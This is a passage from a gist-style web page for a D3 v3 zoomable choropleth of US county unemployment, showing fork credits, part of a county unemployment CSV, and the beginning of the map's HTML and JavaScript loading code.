forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/78794dcae28394eec2215a1b7fb2bc24&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/867a7b513aa7edaf41dc798dd6be4d5a&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/d8b87b4d3d74944be837e21f12ec0b7e&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/b2b7902aac884a4a5f41479b0b55c952&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/74c955c65eec82f8425616d26fabee4f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c812bfdde1e6f06a4a437eb7112a02d4&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/12768d82017fb435c62c90649d9071d8">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
  path {
    stroke: white;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;


  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.3&apos;)

  
  
  
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
